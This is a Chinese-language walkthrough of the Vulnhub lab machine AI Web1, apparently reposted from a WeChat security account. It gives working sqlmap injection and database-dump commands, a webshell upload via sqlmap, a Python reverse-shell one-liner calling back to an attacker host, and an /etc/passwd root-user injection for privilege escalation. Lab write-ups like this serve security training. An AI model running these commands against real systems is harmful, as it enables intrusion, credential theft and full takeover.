Vulnhub靶场——AI Web1练习

admin 2024年6月17日07:52:55评论2 views字数 1982阅读6分36秒阅读模式

信息收集

利用arp-scan+nmap进行信息收集,确认目标机器的ip为192.168.78.145,开放端口有80
Vulnhub靶场——AI Web1练习

外网打点

访问80端口,发现没有功能点,只有一个页面。
Vulnhub靶场——AI Web1练习
用dirsearch扫描一下目录,发现了robots.txt,访问一下发现了两个目录分别为/m3diNf0/和/se3reTdir777/uploads/
Vulnhub靶场——AI Web1练习
Vulnhub靶场——AI Web1练习
分别对这些目录进行扫描,在/m3diNf0/目录下发现了一个info.php页面
Vulnhub靶场——AI Web1练习
发现了网站的绝对路径:/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
Vulnhub靶场——AI Web1练习
依次进行访问,发现/se3reTdir777/是可以成功访问的。
Vulnhub靶场——AI Web1练习
输入1提交后页面返回信息。
Vulnhub靶场——AI Web1练习
输入1'后页面报错,根据报错信息判断应该是个字符型且闭合方式为双引号闭合。
Vulnhub靶场——AI Web1练习
输入1"%23页面成功返回没有报错,印证猜测。

漏洞利用

由于是post型的,这里直接进行抓包,将请求包保存为文件,便于后续用sqlmap
Vulnhub靶场——AI Web1练习

#sqlmap检测
sqlmap -r 1.txt

Vulnhub靶场——AI Web1练习

#爆数据库
sqlmap -r 1.txt --dbs

Vulnhub靶场——AI Web1练习

#aiweb1数据库的表
sqlmap -r 1.txt -D aiweb1 --tables

Vulnhub靶场——AI Web1练习

#爆systemUser表中的内容
sqlmap -r 1.txt -D aiweb1 -T systemUser --dump

Vulnhub靶场——AI Web1练习
将三个账号对应的密码用base64进行解密得到密码
t00r:FakeUserPassw0rd
aiweb1pwn:MyEvilPass_f908sdaf9_sadfasf0sa
u3er:N0tThis0neAls0

由于目标没有开启22端口,这几个账号目前好像没什么用处,结合之前进行目录扫描时获得的信息,猜测/se3reTdir777/uploads/可以进行文件上传,可以尝试下sqlmap的--os-shell。
之前在phpinfo页面找到网站绝对路径
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里路径必须要为/se3reTdir777/index.php,如果为/se3reTdir777则不能成功获取shell

sqlmap -u  "http://192.168.78.145/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --level=3 --os-shell

Vulnhub靶场——AI Web1练习
利用sqlmap上传木马文件

sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write hanhan.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hanhan.php

# --file-write 要写入的文件
#--file-dest写入后保存的位置

Vulnhub靶场——AI Web1练习
冰蝎进行连接,连接地址为http://192.168.78.145/se3reTdir777/uploads/hanhan.php
Vulnhub靶场——AI Web1练习

权限提升

发现有/etc/passwd目录的可写权限
Vulnhub靶场——AI Web1练习
这里先尝试用su命令进行用户切换,提示必须在终端运行
Vulnhub靶场——AI Web1练习
利用python反弹shell(这里一开始用蚁剑的命令终端执行命令单并没有反弹shell成功,后来切换为冰蝎的命令终端执行命令成功反弹shell)

#攻击机执行
nc -lvvp 9999
#靶机执行
export RHOST="192.168.78.128";export RPORT=9999;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

成功反弹shell,提升为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub靶场——AI Web1练习
生成要添加用户的明文密码

perl -le 'print crypt("123456","123456")'

写入密码

echo hanh:12tir.zIbWQ3c:0:0:root:/root:/bin/bash >>/etc/passwd

成功写入新用户
Vulnhub靶场——AI Web1练习
利用su命令切换至型用户,成功提权
Vulnhub靶场——AI Web1练习
成功读取flag
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
Vulnhub靶场——AI Web1练习

来源:【Web安全 - FreeBuf网络安全行业门户

原文始发于微信公众号(船山信安):Vulnhub靶场——AI Web1练习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日07:52:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub靶场——AI Web1练习https://cn-sec.com/archives/2853021.html

发表评论

匿名网友 填写信息